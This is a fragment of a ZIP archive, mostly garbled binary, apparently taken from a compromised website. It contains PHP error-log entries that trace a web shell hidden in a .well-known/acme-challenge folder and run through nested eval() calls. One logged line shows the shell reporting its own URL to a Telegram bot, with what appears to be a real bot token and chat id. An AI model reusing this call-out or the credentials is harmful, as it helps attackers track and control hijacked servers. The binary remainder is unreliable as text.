q#aHzy%1lhd,$Kdad735UVW]d_Kfs:'ׯLU6MD}ŮU9'qI*CMQRِBd:`r62ƥ 1 !#2Cq'[Kku\<\JY weFJbJG|45I}u$ڼ _3EgzhceV{c' _#A`ƀgqy_W,\'[(ƷZpO{DŽ/,V LJ+̅aX 7GOdG? *z ̓ H(f@#Q`,"Fp:m42̀C ѝO,=;(*uNo}H taM:܎U 7&~~w1a)%/H.׌^t|!aeJkU(U+3-p]o])XΧx2H^;ӏO?PK?RiZXsu$ y R^ PKSuPKZ"M }}acme-challenge/946119/index.phpnu[afwwrfwafr45458465PKZ}]gacme-challenge/946119/error_lognu[[27-Mar-2025 03:23:41 UTC] PHP Warning: Undefined global variable $_SESSION in /home2/kseibitools/public_html/derp.kseibitools.com/.well-known/acme-challenge/946119/index.php(17) : eval()'d code(110) : eval()'d code on line 168 [27-Mar-2025 03:23:41 UTC] PHP Warning: Trying to access array offset on value of type null in /home2/kseibitools/public_html/derp.kseibitools.com/.well-known/acme-challenge/946119/index.php(17) : eval()'d code(110) : eval()'d code on line 168 [27-Mar-2025 03:23:41 UTC] PHP Warning: Undefined global variable $_SESSION in /home2/kseibitools/public_html/derp.kseibitools.com/.well-known/acme-challenge/946119/index.php(17) : eval()'d code(110) : eval()'d code on line 301 [27-Mar-2025 03:23:41 UTC] PHP Warning: Trying to access array offset on value of type null in /home2/kseibitools/public_html/derp.kseibitools.com/.well-known/acme-challenge/946119/index.php(17) : eval()'d code(110) : eval()'d code on line 301 [27-Mar-2025 03:24:42 UTC] PHP Warning: file_get_contents(http://api.telegram.org/bot6915424880:AAFB0BqH504QGIiMxdhLX_A6tXaWmIFhL1U/sendMessage?chat_id=5725945887&text=kseibitools.com%2Fderp.kseibitools.com%2F.well-known%2Facme-challenge%2F946119%2Findex.php): Failed to open stream: Connection timed out in /home2/kseibitools/public_html/derp.kseibitools.com/.well-known/acme-challenge/946119/index.php(17) : eval()'d code(110) : eval()'d code on line 302 [27-Mar-2025 03:24:42 UTC] PHP Warning: Undefined array key "upload" in /home2/kseibitools/public_html/derp.kseibitools.com/.well-known/acme-challenge/946119/index.php(17) : eval()'d code(110) : eval()'d code on line 529 [27-Mar-2025 03:24:42 UTC] PHP Warning: Undefined array key "komend" in /home2/kseibitools/public_html/derp.kseibitools.com/.well-known/acme-challenge/946119/index.php(17) : eval()'d code(110) : eval()'d code on line 545 [27-Mar-2025 03:24:42 UTC] PHP Warning: Undefined array key "memek" in /home2/kseibitools/public_html/derp.kseibitools.com/.well-known/acme-challenge/946119/index.php(17) : eval()'d code(110) : eval()'d code on line 555 [27-Mar-2025 03:24:42 UTC] PHP Warning: Undefined array key "logout" in /home2/kseibitools/public_html/derp.kseibitools.com/.well-known/acme-challenge/946119/index.php(17) : eval()'d code(110) : eval()'d code on line 561 PKZacme-challenge/946119/.htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all PKZacme-challenge/index.phpnu[PKZ):: index.phpnu[PKZuuM:gay1nu[PKZ"M }}|acme-challenge/946119/index.phpnu[PKZ}]gHacme-challenge/946119/error_lognu[PKZacme-challenge/946119/.htaccessnu[PKZacme-challenge/index.phpnu[PK